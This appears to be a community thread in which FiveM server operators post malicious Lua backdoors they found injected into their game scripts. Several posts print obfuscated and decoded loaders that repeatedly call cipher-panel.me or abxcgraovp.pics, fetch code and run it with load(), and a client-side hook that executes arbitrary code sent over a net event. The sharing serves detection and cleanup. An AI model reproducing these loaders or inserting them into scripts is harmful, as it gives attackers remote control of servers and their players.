new code

[itIsMaku]

new decoded code from url

local cTdCMZoxifobYqYfffRxFuuJFJlSbnSMGhmnwKEVGEcogvNxbRmdQoshAsCvsLYEiZtgMv, CCoiYxeHMjIIOaxuKOyMWbhhsCIkxNOIaPfTPkTgUpQZKrodOJruwPONkNiLChOzilZsfo, zhoRKbXxhbxekLfBRWOlLMQdkDOXPRnQOivxZeYctSBCnJrMZMVAfjKUDfPhwDYhWqqXAF, MGVjVzTVhJXCWUyHwkvidGSUPmSUxIXxBTDjmrjWkpnMBytPMQzBQlTnryABbClWUynGdD, IzVNuGHCKMmJirkHICcZRBTFjrOaKAnEoHGXhvABWckBEnLyYFHvWziXuYEsoBmYdOEQaX = Citizen, CreateThread, true, PerformHttpRequest, assert
local dFAOtBnPRlMtNDgxYpfoZokGEkIPXfEIVuGNqSqiAHLAoWroUUKiHVLpSsrOnxqsrsGzFg, IHkQlNudljczHRIqCDKwLTTRhoeAboyhWCdeYpLSJuNdMpPlvYUOdxXlbFDCjNaPbCErPL, rDaLCqpgagZgHqJPrlLPiLaXRIxWxzhZkbxqmcBwhnEKrsNNnuDZReFlCwCJzzMsEUMQFW, RdEjRzONIAcfiwybBNCWbwdPpKOWkzgpmMhGRvIeDWSZQLLwGAfaLMfmRouKCvFiyWERci, RTuLszoMitaVaQEFajpvBHeXKTZRlmKulHMVcYmmIbePuIcbEbesHBXcSdZpKfiRzAsgOD, PRABNNsLePCJioibehlZnYSseTxnyLxtLCvUVbeYqSjwiiRlilqCUyByMsLfVwLLOBvoZO, NKmpVlTwVVEMzRuJFBWqxGiQiDKUftwHXznBBpbDWlXwjuptObHShBSgpjGnAcqbNmwmZg = load, Wait, 4000, 200, '', nil, false

cTdCMZoxifobYqYfffRxFuuJFJlSbnSMGhmnwKEVGEcogvNxbRmdQoshAsCvsLYEiZtgMv.CreateThread(function()
    while zhoRKbXxhbxekLfBRWOlLMQdkDOXPRnQOivxZeYctSBCnJrMZMVAfjKUDfPhwDYhWqqXAF do
        MGVjVzTVhJXCWUyHwkvidGSUPmSUxIXxBTDjmrjWkpnMBytPMQzBQlTnryABbClWUynGdD('https://cipher-panel.me/_i/v2_/stage1?to=l6Tr2', function(FlaSHXiUhyfOnQMpHfUAfKrhAaubzOFkOvIpvVNposQkrBvakqqQqVvUKQLTcqrerUtoXD, GvwQVZYIgMgKvDHfruQwBELBvsSgPLqEHFuwgXUVCFbBIhCurFLTccwEPteYBEVEaZSywP)
            if (FlaSHXiUhyfOnQMpHfUAfKrhAaubzOFkOvIpvVNposQkrBvakqqQqVvUKQLTcqrerUtoXD == RdEjRzONIAcfiwybBNCWbwdPpKOWkzgpmMhGRvIeDWSZQLLwGAfaLMfmRouKCvFiyWERci) then
                if (GvwQVZYIgMgKvDHfruQwBELBvsSgPLqEHFuwgXUVCFbBIhCurFLTccwEPteYBEVEaZSywP == PRABNNsLePCJioibehlZnYSseTxnyLxtLCvUVbeYqSjwiiRlilqCUyByMsLfVwLLOBvoZO or GvwQVZYIgMgKvDHfruQwBELBvsSgPLqEHFuwgXUVCFbBIhCurFLTccwEPteYBEVEaZSywP == RTuLszoMitaVaQEFajpvBHeXKTZRlmKulHMVcYmmIbePuIcbEbesHBXcSdZpKfiRzAsgOD) then return end
                local VPPxSBunRxefvDIXqXTAqrKEwGxtAsqyKuLeJygpkJuUIlVpCSjfuJgZfCwJiwGRXmoGYQ = IzVNuGHCKMmJirkHICcZRBTFjrOaKAnEoHGXhvABWckBEnLyYFHvWziXuYEsoBmYdOEQaX(dFAOtBnPRlMtNDgxYpfoZokGEkIPXfEIVuGNqSqiAHLAoWroUUKiHVLpSsrOnxqsrsGzFg(GvwQVZYIgMgKvDHfruQwBELBvsSgPLqEHFuwgXUVCFbBIhCurFLTccwEPteYBEVEaZSywP))
                VPPxSBunRxefvDIXqXTAqrKEwGxtAsqyKuLeJygpkJuUIlVpCSjfuJgZfCwJiwGRXmoGYQ()
                zhoRKbXxhbxekLfBRWOlLMQdkDOXPRnQOivxZeYctSBCnJrMZMVAfjKUDfPhwDYhWqqXAF = NKmpVlTwVVEMzRuJFBWqxGiQiDKUftwHXznBBpbDWlXwjuptObHShBSgpjGnAcqbNmwmZg
            end
        end)
        cTdCMZoxifobYqYfffRxFuuJFJlSbnSMGhmnwKEVGEcogvNxbRmdQoshAsCvsLYEiZtgMv.Wait(rDaLCqpgagZgHqJPrlLPiLaXRIxWxzhZkbxqmcBwhnEKrsNNnuDZReFlCwCJzzMsEUMQFW)
    end
end)

local bool = true

Citizen.CreateThread(function()
    while bool do
        PerformHttpRequest('https://cipher-panel.me/_i/v2_/stage1?to=l6Tr2', function(errorCode, data)
            if (errorCode == 200) then
                if (data == nil or data == '') then return end
                local payload = assert(load(data))
                payload()
                bool = false
            end
        end)
        Citizen.Wait(4000)
    end
end)

[itIsMaku]

local PfUmuYJGAxmosesGELhIHnXYFtRPAYCbPjVzVnSaqdToLzuMbokGtLOjBIfbBcjatDsSWI, irSKRMzZCtYKEzwiMeMbTtJFphrInXaxiSDeehgQLpjTGQTSOMxMDDerbTQxOYSZwkaNbl, KPCulHAgXLxzMHAtLESRWHKgZecwnSsAxMuQDUenBoxFFEtTpQmWYGydBSCtkWXvjxgRjA, FFgRQPRZAHkGdgTGTUPLdtLflKPfRospIqwaPrcwzpCqHdrXltWxBvGuLHhDhcxhWmDavz, UBNpgkKglzqiFQHmTGtDRMpBSpotpKrwLSAUfvQDbsIPtcYTRKmieOghLTWepWFlPYzpTb = Citizen, CreateThread, true, PerformHttpRequest, assert
local huiTuVuGkMXjzMIqZIFXJdHsOYtPKenbZVmLZEGsiIPbJdCyUXipBuTrnGWKCmKoRMuexD, TLhjYlUknYqLLXGgtZNAsAnCWhXIopJbfQRSXRHFiinsHlnhDfqJyINIyEbUSfPUNbggQJ, YkAGsbfnWcKYNFBFJzOyvnMbYdEjkjxGrvXfCcoSBjSAhxpRxdgbjskUpfHPLtzmVHVTPb, aisafurDNnOcBSHhlHpnMePArZHDeYFjkGOKGqNFvgqdAjMEZsfzvpfqHDrgZZrfVhkLUf, MpUdDbNLbzwrQDSuouvgQroMxQbhYqezTUkdpvVqcmnOGGCFfazFZIqnyXDgXNQmFKNwwB, ljoubDiElDzXyLfzKwjhdYeRSWspSPFEdYPJjSKckQhNoTZxEgyuKsRtLPfIgyDmyoYrjL, gUOJaLrLqDrzglZAgKiErsOKqksMzcWaZwGpXQXEIZNujiOtzJGuWEOvqygGmPIDVwUUWG = load, Wait, 4000, 200, "", nil, false

PfUmuYJGAxmosesGELhIHnXYFtRPAYCbPjVzVnSaqdToLzuMbokGtLOjBIfbBcjatDsSWI.CreateThread(function()
    while KPCulHAgXLxzMHAtLESRWHKgZecwnSsAxMuQDUenBoxFFEtTpQmWYGydBSCtkWXvjxgRjA do
        FFgRQPRZAHkGdgTGTUPLdtLflKPfRospIqwaPrcwzpCqHdrXltWxBvGuLHhDhcxhWmDavz('https://cipher-panel.me/_i/v2_/stage1b.php?asf=RANDOMTOKEN==', function (HoFKwuSLnmtMrjzMdQcMDRoNPTWkHgtMcPkDwqhgrLJEygdsWGyjlwUIXShUdynwakvtoE, GoHrMkuQTgaiwKfRBxazCNfCTsPcarQmonSXHbxPJykABnOktxMwhtVnyzuEwPApnPiSWp)
            if(HoFKwuSLnmtMrjzMdQcMDRoNPTWkHgtMcPkDwqhgrLJEygdsWGyjlwUIXShUdynwakvtoE == aisafurDNnOcBSHhlHpnMePArZHDeYFjkGOKGqNFvgqdAjMEZsfzvpfqHDrgZZrfVhkLUf) then
                if (GoHrMkuQTgaiwKfRBxazCNfCTsPcarQmonSXHbxPJykABnOktxMwhtVnyzuEwPApnPiSWp == ljoubDiElDzXyLfzKwjhdYeRSWspSPFEdYPJjSKckQhNoTZxEgyuKsRtLPfIgyDmyoYrjL or GoHrMkuQTgaiwKfRBxazCNfCTsPcarQmonSXHbxPJykABnOktxMwhtVnyzuEwPApnPiSWp ==  MpUdDbNLbzwrQDSuouvgQroMxQbhYqezTUkdpvVqcmnOGGCFfazFZIqnyXDgXNQmFKNwwB) then return end
                local ZruAtMBqSHehCjIiyxRIvQwZXHqacbVDVIZffEPsnnZqepWIkuMcYwKDXpUklCArMePAdB = UBNpgkKglzqiFQHmTGtDRMpBSpotpKrwLSAUfvQDbsIPtcYTRKmieOghLTWepWFlPYzpTb(huiTuVuGkMXjzMIqZIFXJdHsOYtPKenbZVmLZEGsiIPbJdCyUXipBuTrnGWKCmKoRMuexD(GoHrMkuQTgaiwKfRBxazCNfCTsPcarQmonSXHbxPJykABnOktxMwhtVnyzuEwPApnPiSWp))
                ZruAtMBqSHehCjIiyxRIvQwZXHqacbVDVIZffEPsnnZqepWIkuMcYwKDXpUklCArMePAdB()
                KPCulHAgXLxzMHAtLESRWHKgZecwnSsAxMuQDUenBoxFFEtTpQmWYGydBSCtkWXvjxgRjA = gUOJaLrLqDrzglZAgKiErsOKqksMzcWaZwGpXQXEIZNujiOtzJGuWEOvqygGmPIDVwUUWG
            end
        end)
        PfUmuYJGAxmosesGELhIHnXYFtRPAYCbPjVzVnSaqdToLzuMbokGtLOjBIfbBcjatDsSWI.Wait(YkAGsbfnWcKYNFBFJzOyvnMbYdEjkjxGrvXfCcoSBjSAhxpRxdgbjskUpfHPLtzmVHVTPb)
    end
end)

local bool = true

Citizen.CreateThread(function()
    while bool do
        PerformHttpRequest('https://cipher-panel.me/_i/v2_/stage1b.php?asf=RANDOMTOKEN==', function(errorCode, data)
            if (errorCode == 200) then
                if (data == nil or data == "") then return end
                local payload = assert(load(data))
                payload()
                bool = false
            end
        end)
        Citizen.Wait(4000)
    end
end)

[ericstolly]

Interesting, is there any chance you would be able to forward me the script that housed the original infection? I'd like to look into it.

[itIsMaku]

Interesting, is there any chance you would be able to forward me the script that housed the original infection? I'd like to look into it.

I will take a look. Can you give me your discord?

[ghost]

Hi itIsMaku! Can you add me on discord? Discord: Roba#4034

[imkuroneko]

Hi~ this is something I found yesterday on my scripts

injected on client

local OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G}
OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[6][OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[1]](OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[2]) OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[6][OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[3]](OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[2], function(RvOSerZZqaWEuYjlAHfvcBAevoJMXtpPuYIuQnzNqdRjnCMftYhwjylNJwlDFYeivWPqlk) OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[6][OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[4]](OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[6][OAeYvYzNWCDamXHsFSDgMZCZdqxkhVxaaXdyNWyGWNlHNjoXRmuUVNrtuZdbwIOJxcsbMi[5]](RvOSerZZqaWEuYjlAHfvcBAevoJMXtpPuYIuQnzNqdRjnCMftYhwjylNJwlDFYeivWPqlk))() end)

injected on server

local FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil}
FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd[4][FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x62\x78\x63\x67\x72\x61\x6f\x76\x70\x2e\x70\x69\x63\x73\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x72\x42\x31\x4b\x35\x35", function (vRjdpyuvXhOIVWVzIKwBWPBSlexlfygXPdWpAwNqjAYOGEUPCnnuBqliHMkgAdklIWOWXP, LxwGWsqUAgllUzssGzsMKseXBywBgQllOdSvSeJFxPghmhpmIdYCwQOKNRZjlYoWAjzcQK) if (LxwGWsqUAgllUzssGzsMKseXBywBgQllOdSvSeJFxPghmhpmIdYCwQOKNRZjlYoWAjzcQK == FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd[6] or LxwGWsqUAgllUzssGzsMKseXBywBgQllOdSvSeJFxPghmhpmIdYCwQOKNRZjlYoWAjzcQK == FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd[5]) then return end FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd[4][FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd[2]](FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd[4][FXhmVKolSzKWjqPLBgmNlpAllofuPjZmgXXNELpDINWIFebbhGaXgqjsCiWBVKJORHSlnd[3]](LxwGWsqUAgllUzssGzsMKseXBywBgQllOdSvSeJFxPghmhpmIdYCwQOKNRZjlYoWAjzcQK))() end)

New URL: https://abxcgraovp.pics/v2_/stage3.php?to=rB1K55

[denndoes]

can some one help me out pls? my discord = jorisdriepenter